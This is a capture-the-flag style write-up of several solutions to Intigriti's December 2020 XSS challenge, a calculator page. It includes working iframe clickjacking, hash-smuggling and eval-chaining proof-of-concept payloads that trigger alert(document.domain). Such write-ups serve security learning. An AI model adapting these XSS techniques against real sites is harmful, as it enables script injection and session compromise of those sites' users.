# Intigriti Challenge 1220 solutions This is my write-up to the Intigriti's recent XSS challenge that I manged to solve in various ways, exploiting different vulnerabilities. ![](https://i.imgur.com/5ER9mQI.png) https://twitter.com/terjanq/status/1336248989633687553 ## Clickjacking The first solution I found was requiring user interaction. I haven't noticed a comment in the page source, that everything beneath it is considered "just a UI", and of course exploited the UI 😅 first. ```javascript /* The code below is calculator UI and not part of the challenge */ ``` The hardest part of constructing the payload was to realize that *user interaction* is not forbidden, but for some reason, I was very convinced that the challenge is about triggering the XSS without interaction. My intuition wasn't wrong because the intended solution indeed required no interaction. The first solution was leveraging four facts: 1. It was possible to smuggle the query parameters in the hash, through for example `#&num1=aaa&num2=123` 2. It was possible to embed the page on an external website, and load the prepared URL with hashes. 3. Upon clicking any number on the calculator, the calc function would be triggered again, resulting in XSS. 4. There was a global variable `searchQueryString` which was everything after the first occurrence of the question mark `?`. It was possible to inject `?javascript:alert(document.domain)//&` at the beginning of the URL, so the `searchQueryString` would yield a valid javascript code Then it was just a matter of assigning `location=searchQueryString` to execute the payload. PoC: https://terjanq.me/int_dec_sol.html ```htmlmixed <body><div style="width:300px"> <pre>1. Click any number inside iframe</pre></div> <button id=button style=display:none>click me</button> </body> <script> var x = document.createElement('iframe'); var base = 'https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//&' x.src = base+'#&num1=x&num2=searchQueryString&operator=%3D' x.style.cssText="position:absolute;top: -2200px;left:300px;width: 200px;height: 2500px;"; x.onload = () => { x.src = base+'#&num1=location&num2=x&operator=%3D' } document.body.appendChild(x); </script> ``` ![](https://i.imgur.com/xPwLySt.png) ## No user interaction I was told by Inti that the intended solution required no interaction, but my solution was somehow close. ![](https://i.imgur.com/biLyeAb.png) Didn't take me more than a few minutes to improve the solution to be triggering without user interaction. The observation was that we can force the assignment `onhashchange=init` which would reevaluate everything upon `hashchange event`. Now, instead of requiring the user to click to invoke the vulnerable `calc` function, we can manipulate the hash of the iframe, because changing the hash inside the iframe doesn't trigger the reload event. PoC: https://terjanq.me/int_dec_sol_2.html ```htmlmixed <body></body> <script> const sleep = d => new Promise(r=>setTimeout(r,d)); var x = document.createElement('iframe'); var base = 'https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//&num1=onhashchange&num2=init&operator=%3d&' x.src = base+'#1' x.onload = async () => { x.src = base+'#&num1=x&num2=searchQueryString' await sleep(500); x.src = base+'#&num1=location&num2=x' } document.body.appendChild(x); </script> ``` ## No iframes The other vulnerability I discovered was that when you click on a `clear` button, `num1`, `num2`, and `operator` parameters are deleted from the URL. This was actually the first attempt that I tried to exploit. I noticed that when you have a URL with `/?num1=smth&#num1=foo` and then try to remove the `num1` parameter, the resulting URL will be `/#&num1=foo`. ![](https://i.imgur.com/KC63E74.png) Because the page parses the URL in the following way: 1. Find the first occurrence of the question mark `?`. 2. Split the URL into an array by the `&` character as the delimiter. 3. For each element from the array, split the string into the pair (key, value) by the `=` character as the delimiter. With my observation and user interaction, I could force the following chain of parsing the elements: 1. Load `/?num1=calc&#&?num1=alert(document.domain)&num2=eval&operator=%3D`. Parsed parameters will be: * `num1`:`calc` * `num2`:`eval` * `operator`:`=` This forces the assignment `calc=eval` 2. Wait for the user to click on the `Clear` (`C`) button. 3. The URL now becomes `/#&?num1=alert(document.domain)&num2=eval&operator=%3D` and parsed parameters are: * `num1`:`alert(document.domain)` * `num2`:`eval` * `operator`:`=` This will trigger the invocation of `eval('alert(document.domain)', 'eval', '=')` and which will trigger an alert. PoC: https://challenge-1220.intigriti.io/?num1=calc&#&?num1=alert(document.domain)&num2=eval&operator=%3D ## No globals The last solution that I have submitted was combining all the previous solutions to achieve XSS that wasn't reusing any `global` function or variables that were defined by the challenge, with the exception for `window.onload`. This is very similar to my research towards [Arbitrary Parentheses-less XSS](https://medium.com/@terjanq/arbitrary-parentheses-less-xss-e4a1cf37c13d). The solution was to invoke the following chain: 1. `onhashchange=onload` 2. `y=eval` 3. `decodeURIComponent=y` 4. `iframe.src='#?alert(document.domain)=1337'` PoC: https://terjanq.me/int_dec_sol_3.html ```htmlmixed <body></body> <script> const sleep = d => new Promise(r=>setTimeout(r,d)); var x = document.createElement('iframe'); var base = 'https://challenge-1220.intigriti.io/'; document.body.appendChild(x); async function eq(a,b){ x.src = base+`#&num1=${escape(a)}&num2=${escape(b)}&operator=%3d` await sleep(300); } eq('onhashchange','onload'); x.onload = async () => { await eq('y','eval'); await eq('decodeURIComponent','y'); x.src = base + '#?alert(document.domain)=1337'; } </script> ``` ![](https://i.imgur.com/RQaUHqX.png)